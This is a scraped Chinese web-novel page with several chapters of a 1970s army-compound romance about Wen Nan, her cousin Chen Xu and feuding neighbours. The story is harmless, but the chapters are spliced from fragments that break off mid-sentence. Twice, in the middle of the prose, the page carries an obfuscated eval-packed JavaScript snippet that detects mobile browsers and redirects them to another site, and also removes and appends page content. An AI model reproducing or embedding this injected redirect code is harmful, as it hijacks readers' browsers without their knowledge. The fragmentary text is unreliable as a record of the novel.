在这个年代遭遇了这种事,先不说女同志是否还有活下去的勇气,就是村里的议论和指点都能要了女同志的命,她的人生被那个人渣毁了,以后也没人会上门说亲,她家人也会被其他人背地里议论指点的抬不起头来,这些都是将女同志推向死亡的导火线。 赵小麦看了眼温南低着头没说话,以为她吓着了,又安抚道:“温南,你不用害怕,杏花村挨着部队,坏人不敢过来,梨花村是离红星公社最远的一个村子,离咱们家属区也不近,而且咱们家属区每天都有保卫部的人巡逻,杏花村有民兵巡逻,给坏人十个胆子他也不敢到这边来做坏事。” 温南抬头笑了笑:“我没事。” 她这下知道陈叙为什么非要送她来草地,而且还要等到路上陆陆续续有人了才走。 原来是这个原因。 赵小麦帮她割了一会草就走了,没一会林美珍也来了。 来草地割草的人有五个,算上温南是六个,有三个十三四岁的女孩,一个年龄跟林美珍差不多大,草地很大,大家都很分散,谁也没理谁。 温南低头吹了吹手上的水泡,又用手压了压,有点疼。 中午送草的时候陈叙没过来,温南自己装了一筐子草,她压的不瓷实,虽然背着还是重,但走路没问题,她和林美珍一前一后送到牛场,在路上碰见小麦,小麦已经把猪笼草送完了,过来一块帮温南把青草送完,两人作伴回到家属区。 陈奶奶中午饭已经做好了,坐在小院里望着大门,温南从外面进来,甜甜的叫了声“姨奶”,把篓框放在门后面,见桌上只有陈奶奶一人,愣了一下:“大哥还没回来吗?” “没呢,估计团里有事,不管他了,我们先吃。” 陈奶奶起身去厨房端饭,温南蹲到井边压水,两只手心都有伤,导致她压水的时候就有些费劲,没想到刚压好半盆水就听见门外传来赵小麦哭哭啼啼的声音。 “娘,我说的都是实话,你别找温南好不好。” 赵小麦边哭边抹眼泪,半边脸有点红,还印着一个五指印。 花凤珍骂骂咧咧的揪着她的胳膊往陈营长家走:“你少给我说那么多屁话,你林嫂子那么大的人了还能骗人不成?我们两家多少年的邻居了,要是没这事她能给我胡诌?赵小麦,老娘告诉你,这笔账我先找温南算完再接着跟你算!看把你能的,还给别人挣工分,咱家养你这么多年是给别人干活的吗?!” 说着话就已经到了陈营长的家门口,花凤珍气冲冲的推开门扯着赵小麦走进去,一眼就看见蹲在井边洗手的温南,陈奶奶端着两碗饭从厨房出来,看见花凤珍气势汹汹的跑进来,再一看赵小麦脸上的巴掌印,皱了皱眉:“花凤珍,你干啥呢?” “温南,对不起……” 赵小麦哭的一抽一抽的,给温南道歉,被花凤珍使劲拧了下胳膊,赵小麦疼的惨叫了一声,手捂着胳膊咬着嘴唇憋着哭。 花凤珍骂道:“你个贱皮子,你道什么歉啊!” 然后瞪了眼温南,转头朝陈奶奶说:“候婶子,这事你得给我们评评理啊。”她指向温南:“你外甥孙女让我家小麦给她拔草干活,我家小麦没她自己的活干吗?跑过去给你们家挣工分,她干了一天半的活,我家小麦就给她帮了一天半的忙,今天这事你们要不是不给我个说法,我就去团里领导那举报陈营长的表妹剥削我家小麦,让团里领导给我个说法!” “娘,温南没有让我帮她干活,是我……啊!” 赵小麦又被花凤珍使劲拧了下胳膊,疼的五官皱在一起,嗓子都不出音了。 温南眉心紧皱,不忍心看赵小麦被她亲娘虐待,冷着声音说:“花婶子,是谁跟你说是我让小麦帮我干活的?” 陈奶奶把两碗面条重重放在桌上,一半是因为烫的,一半是气的。 她看了眼赵小麦,没好气的冲花凤珍说:“你别掐孩子了,有啥事好好说,你说南南让小麦帮她干活,说这话得有个证据,我们凭什么听你说啥就是啥?你没听小麦刚才也说不是南南让她帮忙干活的吗?” “那万一是温南用啥威胁吓唬小麦,逼着她这么说的呢?” 花凤珍瞪了眼温南,看着长的细皮嫩肉的,一看就不是干活的料子,跟她家小麦比起来差远了,她接着说:“是林美珍跟我说的,她跟温南都在给牛场割草,要是没这事,她会瞎说?” 陈奶奶皱了皱眉,看向温南。 虽然只跟这丫头相处了几天,但她看人不会看错,这丫头不是偷奸耍滑,剥削别人的那种人,这里面应该有什么误会。 “南南,这件事到底怎么回事,你说,姨奶相信你不是这种人。” “出啥事了?” 墙头上忽然传来张小娥的声音,陈奶奶和花凤珍扭头看去,就见张小娥趴在墙头上,露出个脑袋,眼睛滴溜溜的转着,显然是又来听别人家的事来了,谁都知道她是个大喇叭,谁家的事被她知道了,隔天全家属区都知道了。 花凤珍一看见张小娥就把温南逼小麦干活的事说出来,就想让她把温南剥削人的名声传出去,她投奔陈营长不是想来这边找个对象吗? 哼!她偏不让! 就这种作风都有问题的女人,长的好看有啥用,谁敢娶她? 趴在墙头上的张小娥闻言,转了下眼珠子看向温南,刚准备说话,就听见温南说:“花婶子,事情可不是林美珍说的这样。” 花凤珍以为她想抵赖,想刺她几句,温南直接堵住她的嘴 12.第 12 章 《穿七零嫁给对象他哥》全本免费阅读 隔壁的张小娥也在跟杜团长说刚才的事,听着张小娥把事情经过说了一遍,杜团长皱眉:“林美珍是看不得咱们一团的家属区安宁是不是?!”他呼噜了一口面,又说:“等下午去团里,我得跟康晋说说,让他管好他婆娘,少在咱们一团家属区挑是非。” 张小娥也说:“还有花凤珍,被林美珍牵着鼻子走,中午闹了不少笑话呢,咱们这一片谁不知道她把她儿子当祖宗供着,把小麦不当人,听见温南分给小麦一半工分,笑的嘴角都裂到耳后根了。”后面这句她纯属瞎编的。 杜团长吃饭的动作顿了下,哼了一声:“没脑子!” 张小娥一愣,抬头瞪他:“你骂谁没脑子呢?!” 杜建明插了一句嘴:“我爹骂你呢。” 杜团长拿着筷子的手反敲在杜建明头上,瞪了眼虎头巴脑的儿子:“你个臭小子,还嫌你爹的事不够多?” 杜建明嘿嘿一笑,他皮肤也随了他爹,黑黝黝的,笑起来露出一口大白牙。 杜家和陈家就隔了一道墙,何况那两口子都是大嗓门,那边院子里说了什么,这边都听的一清二楚,陈叙坐在温南对面,见她低着头吃面,眉眼间没什么忧愁神色,于是低头吃了一口面说:“等会去团里我跟康连长说几句,让他回去转告他媳妇。” 温南咬断嘴里的面条,连忙摇头:“不用了,这事已经说清楚了。” 而且她也不想给陈营长添麻烦。 陈奶奶说:“没事,就让小叙去说,让康连长好好管教管教他婆娘,干的这叫什么事!” 温南没再说话,低着头安静吃饭,只是没过一会,院外面忽然传来争吵的声音,隔壁的张小娥也听见了动静,撂下筷子就跑了,温南听见门外面‘噔噔噔’的脚步声跑过去,回头看了眼半开的院门。 陈奶□□都没抬,说了一句:“不用看,肯定是张小娥又跑过去看热闹去了,谁家有个啥事她跑的比兔子都快。” 正好隔壁也传来杜团长的大嗓门:“张小娥,你给老子滚回来!” 温南:…… 不远处的争吵声越来越激励,听着像是花凤珍和林美珍在吵架,还有热心的军嫂上前劝架的声音,喊着让她们别打了。 温南心里“嚯”了一声。 打起来了? 她知道花凤珍咽不下这口气,被林美珍牵着鼻子走,在家属区丢了脸,怎么会就这么算了,她想着花凤珍最多和林美珍吵一架,没想到会打起来,也不知道这两人谁能打得过谁? 陈奶奶吃完一碗面,没好气的哼了声:“就让那两人打去吧,没一个省心的。” 说完端着碗去了厨房。 陈叙吃饭很快,一会的功夫已经吃完一大碗面条了,他又从厨房捞了一碗出来,温南不再去听外面吵架的动静,咬了下筷子,抬头看了眼坐在对面的陈叙,男人察觉到她的视线,掀起目光看她,直截了当的问:“你有话要说吗?” 温南点了下头,把碗里最后一点面汤喝完,抱着碗问:“我哥给我介绍的对象,你在部队打听到了吗?” 陈叙道:“还没。” “哦。” 她低下头,心里有点失落。 陈叙低头吃了一大口面:“过两天我再给你哥的部队打个电话问问,看你哥的战友回来没有。” 温南又抬起头,笑嘻嘻的说了一句:“谢谢大哥。” “不用跟我客气。” 陈叙端起碗扒拉完最后一口面,起身把碗端到厨房,下午团里还有检查,临出门前他跟温南交代:“我晚上去草地帮你送草。” “不……”用。 用字还没说出口,陈叙已经快步出门了,跟隔壁的杜团长一道走的。 而那头的赵营长和康连长冒着一头汗气呼呼的走了,谁也没管自家媳妇。 他两媳妇这一架打的,全家属区都知道了,要说最头疼的还是康连长,这件事的起因就是他媳妇引起的,还是针对陈营长的表妹,他在陈营长手底下做事,领导的家属被自家媳妇欺负了,这事搞不好还会牵连到他头上。 花凤珍从林美珍家出来,一屁股坐在院里头,气的胸口起伏的厉害,赵小东在院里拿着铁钩子玩转圈圈,一边玩一边喊:“娘,你看我转的圆不圆?”烦的花凤珍吼了他一嗓子:“你给我悄悄的!” 赵小东撇了撇嘴,继续玩自己的圈圈,赵小麦抿着唇默默地干家务活,刚才经过一番大吵架,赵家算是和林家彻底闹掰了,墙那头还有骂人的声音,是康连长的婆婆在骂林美珍。 康连长的娘叫牛来花,今年四十多了,家里就康连长这么一个儿子,她男人走的早,儿子好不容易有出息,当了个连长,谁知道娶了个媳妇是这么个德行,孩子生不出来就算了,还到处惹事,一下子得罪了赵营长和陈营长两个领导。 康连长是陈营长手里的兵,人家表妹才来两天就被自家儿媳妇欺负了一回,这事人家陈营长能愿意? 牛来花站在屋檐底下,脸上都是火气,手指头戳着林美珍的额头,恨不得戳个洞出来:“我们老康家娶你有啥用?孩子孩子你生不出来,家里活也没见你干的有多利索,麻烦事你倒是给我惹了一大堆!你一天天的不好好过日子,净整一些歪心思!” 林美珍低着头,死咬着嘴唇没吭气。 在这个家里,她只要一天怀不上孩子,就一天抬不起头来,连带着她娘家人都没脸跟她丈夫和婆婆说话,她嫁到康家三年了,肚子一点动静都没有,家属区和杏花村里谁见了她不在背后议论她?杏花村的邻居们都说她是个好命的,嫁了个连长,可惜肚子不争气,估计早晚都会被康家送回来。 “老娘最后警告你一次!你要是再给我整幺蛾子,就给我滚回你们林家,我给我儿子重新娶个媳妇!” “娘——” 林美珍脸色一变,抬头就对上婆婆凶恶的脸,牛来花冷声道:“我儿子要是因为你连累到他的职位受影响,我也饶不了你!” 说完又冷哼一声:“还愣着干啥?洗锅碗去啊!洗完锅碗赶紧上工去!” 林美珍一肚子的火气没处撒,气愤的走到厨房,想用力摔筷子摔碗,又怕再被婆婆骂一顿,她要是知道事情会发展到这一步,肯定不会在花凤珍那多嘴,她原以为温南说把工分分小麦一半只是说说,谁知道她说的是真的。 而且陈家隔壁住着的是大喇叭张小娥,温南剥削小麦这事要是被张小娥传出去,到时候整个家属区都知道温南是个什么样的人,以后谁还敢娶她当媳妇? 她坐在家里等着看温南的好戏,结果没等来好戏,还和跑到家里跟她算账的花凤珍打了一架,又被婆婆指着鼻子臭骂了一顿,怎么想怎么亏的慌,脸上被花凤珍挠了好几道指甲印,烧呼呼的疼,身上好几块肉也被她掐紫了。 林美珍都快气死了! 牛来花坐在院里嗑瓜子,嫌弃的看了眼厨房里洗锅碗的林美珍,琢磨着什么时候去陈家,给候婶子送点咸菜,让候婶子给她大孙子说说,让陈营长消消气,别真给她儿子穿小鞋,不过现在不能去,她怕现在过去候婶子正在气头上,说不定不收她的咸菜,还会反过来再把她说一顿。 院子那头,花凤珍听着林美珍被她婆婆训了一顿,起身把绷绳上晾干的衣服扯下来,气不过,又朝墙那头又骂了一句:“狗娘养的的玩意,搅屎棍子,不要脸!” 脖子烧呼呼的疼,她伸手摸了一点血,是刚才跟林美珍打了一架,被那贱女人挠破的。 赵小麦洗完锅碗,扫完院子,背上篓框小声的跟花凤珍说:“娘,我去上工了。” 花凤珍头也没回的说:“去吧,记得继续帮温南干活,但也别跟傻子一样莽干,骗她一半工分就行了。” 赵小麦没说话,扭头走出院子。 她做不到像娘说的那样,但也不敢反驳娘,害怕娘又打她。 赵小麦走过中间两家小院,在陈营长家门外停了一会,想到她娘刚才那么对温南,在门外犹豫了一会还是没有进去,一个人朝草地走去,温南从院里出来时,正好看见了还没走远的赵小麦。 又瘦又小。 一个人孤零零的走在路边。 13.第 13 章 《穿七零嫁给对象他哥》全本免费阅读 温南挺好奇的。 康家今天刚闹过一场,晚上还能闹出什么事? 张小娥双手趴在墙上,绘声绘色的说:“前头我听见康连长家在吵架,我就过去了看了一眼,康连长跟林美珍吵架了,也不知道在吵啥,听着说是林美珍干了啥事把康连长气坏了,让她以后别上工了,就在家待着别出去给他惹事,牛嫂子也气坏了,吵吵着要让康连长跟他媳妇离婚呢。” 说完看向温南,脸上都是八卦:“诶,温南,你跟林美珍一块上工的,你知道她干啥事了吗?” 温南几乎是下意识想到了今天早上遇见林美珍和她妹夫拉拉扯扯的事,忍不住去想康连长说的是不是这件事?但这事只有她跟陈叙知道,想到中午陈叙说他会跟康连长说几句话,让他回去转告他媳妇。 难不成是陈叙说的? 她抬头看了眼在擦头发的陈叙,从她的角度只能看到对方的大长腿和劲瘦的腰侧线条,似是察觉到她的视线,男人擦完头把毛巾搭在绷绳上,低头看了眼她:“快点洗,洗完吃饭了。” “哦。” 温南回过神,朝张小娥摇头:“她一下午都跟我在草地割草,我也不知道。” 张小娥没听到八卦,兴致缺缺的跟陈奶奶说:“你们吃饭吧。”说完跳下墙头回屋了。 陈奶奶对温南说:“林美珍不去上工也好,省的她再给你找麻烦。” 温南觉得也是,这两天上工割草,林美珍的眼睛跟刀子似的,时不时的往她身上戳,虽然不疼,但挺膈应人的,她端起碗喝了口稀饭,抬头看了眼对面的陈叙,在想这事是不是陈叙跟康连长说的? 要是他说的话,那他是怎么跟康连长说的? ——康连长,你媳妇跟你妹夫勾搭不清? ——康连长,你媳妇在外面有人了? 温南又一次抬眼看过去,冷不防的撞上陈叙看过来的眼神,她愣了一下,然后捧着碗埋头喝稀饭,喝了两口又抬头冲他笑了下。 陈叙:…… 吃过饭陈奶奶把锅碗洗完,给温南和陈叙烧了一锅洗澡水就睡了。 院里亮着暖黄的灯光,温南端着搪瓷盆走进厨房,舀了半盆热水,小心的端到井边又压了少半盆井水,她端起有些满的搪瓷缓慢的站起身进屋关上门,因为手心有水泡,还有被草割伤的伤痕,一碰热水就疼,她磨磨蹭蹭洗了大半个小时,硬生生将热水洗成凉水。 外面来回有两趟脚步声从窗前走过,没一会传来泼水声和关门声。 温南洗完澡换上干净衣服,把脏衣服拿到井边洗干净,洗衣服用的凉水,带有伤的双手放进去舒服了一些,洗完衣服,手疼,没办法拧衣服,随便拧了几下就湿哒哒的挂在陈叙的军装旁边,男人手劲很大,军装平整的晾在绷绳上,没往下坠一滴水。 她甩甩酸疼的手,看着手心四个水泡,有两个特别大,看着触目惊心。 温南用手指压了压手心的水泡,又看了眼陈叙和陈奶奶的屋子,都熄灯了,她犹豫了一会,放轻脚步走到陈叙屋门前轻声敲门:“大哥,你睡了吗?” “有事吗?” 男人低沉的嗓音隔着一道门传出来,听着没有半点睡意。 温南小声说:“你屋里有针吗?我借来用用。” 陈叙猜到她要做什么,起身拿起搭在床尾的裤子穿上,温南在屋外面听见了一声皮带扣闷响的声音,紧接着屋里灯拉开,男人穿着工字背心打开门,看了眼站在屋门外,仰着小脸冲他弯眉笑眯眯的温南,转身回屋里:“我给你拿。” 他打开桌上的铁皮盒,从一坨小线团里抽出一根针转身递给她,在温南伸手接针时,瞥了眼她手心的水泡,想到她承受疼痛感的耐力可能要小一点,于是好心提醒了一句:“挑水泡的时候忍着点,会有点疼。” 温南:…… 这句话不说还好,一说她就没胆子自己动手 14.第 14 章 《穿七零嫁给对象他哥》全本免费阅读 “好了。”陈叙拿起毛巾轻轻擦拭她手上的伤,松开她的手:“等会回屋抹点药水,今晚上就别碰水了。” 温南垂下眼,微微握了下拳,手指被捏的有点红,也有点僵。 陈叙放下毛巾,听见院里滴答的水声,扭头看见绷绳上晾着温南的衬衫和裤子,衣服下面已经滴了一滩水,他把针放在桌上,走过去将温南的衣服拧干,温南听见哗啦的水声,吹了吹手心,抬头就见陈叙抖了抖她的衣服,将衣服整齐的晾在绷绳上,她起身走到陈叙身边,捏了捏衣角,没有一点水渍。 她抬头看向高出她许多的陈叙,弯眉笑道:“谢谢大哥。” 陈叙现在对她一口一个大哥已经习惯了,想到她今晚在饭桌上看他的眼神不太对劲,多嘴问了一句:“康连长跟林美珍吵架的事,你以为是我跟康连长说了他媳妇跟她妹夫的事?” 男人双腿岔开,微弓着腰,将温南的裤子拧干抖了抖挂在绷绳上,然后转身,垂着眸看她。 温南没想到他竟然看出来了,她抬起晶亮好看的眼睛看陈叙,挺好奇的问了一句:“不是大哥说的吗?” 陈叙:…… “不是。” 温南垂下眸,眉心轻蹙,咬着唇思索。 不是陈叙说的,那会是谁说的? 难道今天早上除了她和陈叙之外,还有第三个人也看见林美珍跟她妹夫拉拉扯扯的事了? 陈叙把水盆摞在一起,地面的一大片水渍倒映着男人冷俊的五官:“你怎么就确定康连长跟林美珍吵架就是因为这件事?” 温南愣住,错愕的眨了眨眼。 陈叙说:“天不早了,赶紧睡吧。” 男人拉了院里的灯回屋关上门,温南回过神,也跑进屋里,脱/掉衬衫裤子后躺在被窝里,望着漆黑的大房梁,这才后知后觉明白过来陈叙话里的意思,张小娥只说康连长被林美珍干的事气坏了,但到底干了什么事并没人知道。 是她的主观意识误导她以为是康连长知道了林美珍跟她妹夫拉拉扯扯的事,才让她第一时间怀疑是不是陈叙说的。 想到刚才还八卦的问陈叙是不是他告的状,温南无声呐喊了一句,两条腿在床上使劲蹬了几下,拉过被子蒙在头上,重重的吐了几口气。 丢死人了! 也不知道陈营长有没有生她的气? 温南在被窝里闷了好一会,忽然想起来手心还没涂药,又爬起来开灯给手心涂了点药,看着手心上的伤口,想到陈叙刚才快而准的手速,就觉得头皮都有些发麻,手心的水泡戳破了,明天割草的话还会不会再磨出水泡?要是再磨出水泡,是不是还要继续挑? 温南:…… 越想越瘆得慌。 她关掉灯,拉过被子蒙头盖上。 温南这一觉睡的并不安稳,天蒙蒙亮时就醒了,不过她没起床,在床上又眯了会。 小麦说的话她都放在心上,为了自己的小命,不管那个坏人敢不敢来杏花村,她都不会用自己的小命去冒险,再者,她要是天不亮就去割草,到头来还是要麻烦陈营长,她可没那么厚脸皮。 温南这个回笼觉睡到号角声响起才起床,她听着外面的脚步声,还惦记着昨晚陈叙有没有生气的事,起来穿上衣服开门出去,正好跟院子里挑水的陈叙撞了个正着,于是走出屋门,看向陈叙时,小脸上露出讨好的笑:“大哥,你提水呢?” 说完又恨不得咬掉自己的舌头。 说的不是废话吗。 温南眼底的小心翼翼和笑容里的讨好都尽数落在陈叙眼里,看着她睡的毛茸茸的脑袋和头顶炸起的几缕头发,男人英俊的面孔浮出些笑意,低沉的声音也多了几分清朗:“嗯,缸里没水了。” 看着陈叙脸上闪过的笑意,温南悬了一晚上的心总算放下了。 没生气就好。 陈奶奶在灶台前炒菜,听见温南的声音,扭头朝窗户喊了句:“南南,洗脸吃饭了。” 温南朝厨房应了一声,跑到井边压了小半盆水,又去厨房拿暖瓶,还没往出走呢,就听见陈奶奶‘哈哈哈’的笑声,一手拿着铲子炒菜,一手指了指着她头顶:“南南,你昨晚干啥去了,头发都炸起来了。” 温南:??? 她下意识看向往缸里倒水的陈叙,男人的侧脸弧度柔和了许多,眉尾里都印着笑意。 温南抬手摸了摸头顶,又跑到院里的水井边,蹲在地上看水盆里的倒影,这张脸很熟悉,跟她新世纪的长相如出一辙,笑的时候脸颊两边都有两个小酒窝,这是温南来到这个这个年代后第一次认真观察自己的长相 15.第 15 章 温南:??? 什么意思? 她才来三天而已,怎么就在陈叙的团里传开了? 温南疑惑抬头,正好跟陈叙看过来的视线相撞,男人轻咳一声,抬头对那人说:“我妹的事不着急。” 说话的人是一团的五营长何山,跟康连长是邻居,这人是个爽朗的性子,朝温南笑了笑,自来熟的自我介绍:“陈营长他妹子,我叫何山,我比你大,你叫我声何大哥也行。” 温南也不怯场,大方笑道:“何大哥。” 一旁的赵营长跟康连长看了眼温南,两人都像是知道对方要说什么,互相看了眼对方后,康连长先起了个头:“温南,昨天那事是我媳妇不对,她挑的事,害你被花婶子骂了一顿,我在这替她给你赔个不是。” 赵营长虽然在对待孩子上面重男轻女,不知道轻重,可在职位上的弯弯绕绕拿的清楚,等康连长道完歉,他也跟着说:“温南啊,叔也给你赔个不是,我那婆娘没脑子把你说了一顿,我已经骂过她了,你也别放在心上,别跟她一般计较。” 两个媳妇没出面,倒是自家的两个男人给她一个辈分小的人道歉。 温南要是不原谅,到头来还成了她不懂事。 她抿唇一笑,然后大大方方的说:“没事,我没放在心上。” 陈叙看了眼温南脸上绽开的笑意,那笑意未达眼底,她说完垂了垂眼眸,像是不想让别人看到她眼底的情绪,陈叙看向赵营长和康连长,男人的声音带了几分护犊子的语气:“赵营长,康连长,昨天这事可没有第二次了。” 言外之意,再有第二次,他就要上门给他妹子讨说法了。 赵营长和康连长咋会听不出来他话里的意思,尤其是康连长,昨天下午在团里,陈营长单独找到他,特意跟他说了两句话,让他管好自家媳妇,温南是他陈叙的妹子,无缘无故被人泼脏水,扣帽子,这事再有下次就没这么简单过去了。 康连长本来就被自家媳妇气的气不顺,又听陈营长这么一说,更是憋了一肚子火,所以一回到家就跟林美珍吵起来了,让她别去割草了,省的跟陈营长表妹在一起上工,又给他惹出什么麻烦。 温南也听出了陈叙话里的意思,她抬头看了眼陈叙,心里暖暖的,男人拎着篓框转身往前走,刚经过杜团长的家门口,就见杜团长拉开院门,抓着裤腰带往上提了提,然后抹了下嘴,杜团长也看到门外站着一堆人,愣了一下,看见还有温南和赵小麦两个小姑娘,赶紧松开扭皮带的手,不想把面子给丢了。 张小娥在院里擦桌子,扭头瞧见外面人堆里的康连长,憋了一晚上的疑问终于忍不住问出来了:“康连长,你昨天跟你媳妇吵啥呢?她干啥事了,你跟她吵那么凶?” 康连长脸色一僵,没说话。 杜团长气的脑门一跳,扭头瞪了眼张小娥:“你他娘的不会说话就憋着!别给老子丢人!” 说完走出门,转身大力关上院门,然后一挥手:“走,去团里。” 温南对张小娥都无语了。 她发现这人说话做事是一点也分场合。 看着走路很快的几个人,温南小跑着追上陈叙:“大哥,你把篓框给我,我跟小麦走得慢,我两从石桥那边就去草地了。” 陈叙道:“行,你注意点,下雨了就回家。” 温南笑道:“嗯。” 她接过篓框背在背上,跟赵小麦走在后面,刚才在人堆里,赵小麦两只手抓着肩上的篓框带子,低着头安安静静的贴墙站着,怯场,害怕人多,甚至不敢抬头看人,而这些反应身为赵小麦父亲的赵营长是一点也没看出来,温南想到了她那新世纪的父亲,跟赵营长一样。 不配为女儿的父亲! 等陈叙他们走远了,赵小麦才松了口气,她紧挨着温南,抬头羡慕的看了看她,温南转头看她:“怎么了?” 赵小麦眼里闪着亮光:“温南,你好厉害,跟那么多人在一起说话都不慌。” 温南心里一揪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12609578|132009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伸手捏了捏赵小麦的手指:“你有一天也会跟我一样的。” 赵小麦低下头,她觉得她永远不会有这一天。 两人走出家属区,走过石桥的时候,温南从口袋里取出一双线手套,递给赵小麦一只:“咱两一人一只线手套,带着它割草手就不疼了。” 赵小麦一怔,回过神后慢半拍的接过温南递给她的线手套,这是她从小到大第一次看见线手套,从小干了这么多活,一开始手上不停地磨水泡,到后来满手都是厚茧子,爹娘从来没问过她手疼不疼,也舍不得给她买一双手套,其实乡下人干活几乎没有带线手套的。 赵小麦眼睛有点酸涩,她吸了吸鼻子,把手套还给温南:“我不用,我的手不疼,你带着。” 说完又抓起温南的手看了眼,她的手柔软白嫩,衬的手心的伤看着挺吓人的,同样都是女孩子,但她和温南完全不一样,她在老家有她奶奶疼,到家属区有陈奶奶和陈营长疼。 对赵小麦来说,温南是幸运的。 见赵小麦坚持不带手套,温南没辙,只能自己带上手套,两人走到岔路口分开,一个给牛割草,一个给猪割猪笼草,温南到草地的时候,其她几个人已经过来了,唯独林美珍没来。 温南带着手套割草,有了一层线手套的保护,手心的伤没那么疼了,她刚割完一筐子草,天就起了风,没过一会又飘起了雨点,温南直起身,抬手挡在眉眼上望了望天,早上还湛蓝的天空此刻灰蒙蒙的,天的东边划过一道闪电,将灰蒙蒙的天割裂成两半,紧接着震耳的‘轰隆’声响彻在天空。 草地上有个十三四岁的女孩子朝温南喊了一声:“大姐姐,下雨了,得赶紧把草送到牛场。” 温南道:“好。” 她放下镰刀,弯腰迅速把脚边的一摞草塞到框子里,谁知道一用力,小肚子猛地抽痛了一下,那股痛感在小腹那处往下坠,坠的特别疼,一阵一阵的。 这种疼温南最清楚不过了,是例假来的那种痛。 16.第 16 章 温南难受的皱了皱眉,把地上的草都塞到框子里,就弯腰的这一会功夫,滴答的雨水已经打湿了后背,黏在背上凉飕飕的,她背上框子撑开伞往牛场的方向走,草地上的其她人也都背着篓框,双手撑在头上遮雨,快跑着往牛场赶。 赵小麦也从岔路口那边赶过来跟温南走在一起,她发现温南脸色不太对劲:“温南,你怎么了?” 温南摇摇头:“没事。” 她摸了摸有些坠疼的肚子,跑的特别快,赵小麦也跟着她跑,只是快到牛场的时候,温南忽的拐了个弯跑到一棵大树下,背靠着树干,脸色窘迫的看向赵小麦,赵小麦有些懵,将她从头到尾看了一遍,见她身上没伤,但脸色好像更白了:“温南,你是不是哪里不舒服?” “我来大姨妈了。” 赵小麦一愣,显然没明白她的意思,温南忽然感觉到身下涌出一股热流,脸色跟着一白,跟小麦又说了一遍:“我来例假了,不能再走了。” 再走估计裤腿里都是血了。 这倒霉催的,早不来晚不来,偏偏这时候来,原主来例假的日子她压根就没记忆。 赵小麦终于反应过来了,走到温南身后看了一眼,她穿的裤子是藏青色的,腿缝那处隐约能看出颜色更深一点,明眼人一看就知道那是什么,赵小麦脸蛋一红,又羞又急:“这、这咋办呀?” 温南真后悔今天出来的时候没穿个外套,这样围在腰上还能遮一遮。 她看了眼赵小麦,见她身上也只穿着一件衬衫,无奈的叹了一声,将背上的篓框放在地上,把伞递给赵小麦:“小麦,你把篓框先放下,我在这看着,你打伞回去给我拿件外套,我围在腰上可以挡着点。” “那你等着我,我现在就去。” 赵小麦着急的蹲下身卸下背上的篓框,接过温南递来的黑色雨伞就冲进了雨中,雨下的不大,目前还是毛毛雨,土巴路上铺了一层水汽,脚踩过去就是一个泥脚印,冒着雨在路上往回跑的的一些人看见树底下的温南,都好奇的瞅两眼。 也不知道下着雨,她站在那干啥? 天边‘轰隆’声震响,闪电横空割裂了灰蒙蒙的天。 温南站在树底下,这棵树不小,葳蕤茂密的枝叶形成了一把天然的大伞遮在上空,听着震耳欲聋的打雷声,心惊胆战,后脊梁直冒寒气,就怕一道雷朝她劈过来,毕竟打雷天不宜站在树底下。 雨越下越大,一会的功夫地上已经全湿了,冷空气随着大雨笼罩下来,温南冷的打了个哆嗦,一只手搓了搓手臂,一只手使劲摁着坠痛的肚子。 她望着往石桥方向走的那条路看了许久,路上只有往回走的人,没有往来走的。 也不知道小麦什么时候能过来? 肚子疼得厉害,温南低下头揉了揉肚子,感觉身下又是一股暖流。 温南:…… 真是屋逢连夜偏漏雨。 不知道等了多久,温南终于在滂沱的大雨中听见了脚步声,那脚步声听着又快又稳,不太像小麦的,她抬起头,看见了大雨中跑过来的一个身影,男人穿着蓑衣,戴着斗笠,在大雨中快步前行,没几步就跑到她跟前,对方身上带着雨幕中的凉气,冲的她有点冷。 温南抬起头,看着男人取下斗笠,露出一张熟悉的、冷俊英挺的面孔。 她错愕的张了张嘴:“哥,你怎么来了?小麦呢?” 陈叙甩了甩斗笠上的水:“她在后面。” 男人把斗笠挂在树枝上,从蓑衣下取出一件藏青色的外套抖了下递给温南:“你先把外套穿上。” 温南一眼就认出这是她的外套,外套被陈叙护的很好,不仅没有潮气,还带了点男人身上温热的体温,她把外套围在腰间,正准备抓着两只袖子绑在腰上,就见陈叙解下蓑衣放在脚边,脱掉身上的外套递给她:“你把你衣服穿上,把我的外套绑你腰上。” 温南绑袖子的手一顿,抬眼看着递到眼前的麻棕色外套。 男人身上穿着军装短袖,拿着外套的手指骨节修长,手臂上的青筋纹路沿着肌肉线条攀入袖子里处,温南回过神,抬起头看向站在对面的陈叙,笑嘻嘻的露出一口洁白的贝齿:“谢谢哥。” 她快速穿上自己的外套,又接过陈叙手里的外套绑在腰上。 陈叙弯腰捡起蓑衣盖在两个篓框上,单手拎起两个篓框,背对着温南说:“小麦快到了,你跟她撑一把伞回去,我送完草再回去。” 说完快步跑向大雨中。 “哥,你等下——” 温南刚追上两步,身下就又出一股暖流,紧跟着肚子又是一阵坠痛,她按着肚子,脸色窘迫的看着在雨中转过身看向她的陈叙,就一眨眼的功夫,男人身上的衣服已经湿透了。 陈叙抬手抹了把脸上的雨水:“怎么了?” 他嗓音提高了许多,在滂沱的雨声中很响亮。 纵使温南再厚脸皮,可接下来说的话还是让她尴尬的想钻地缝:“我没法走路,你送完草能不能背我回去?” 从这里到家属区还要走好远一截路,何况还是在下雨天。 要是她一路走回去…… 温南不敢想接下来她的裤腿会变成什么样子,更不敢想走过的脚印会留下什么痕迹。 “咳咳——” 也不知道是陈叙咳嗽的原因,还是因为温南说的话让他想到了什么,男人的脸有些涨红,他快速抹了把脸上的雨水,手掌的凉气把脸上冒出来的热气逼退了点,然后转过身背对着温南,说了一句:“等我回来。” 说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 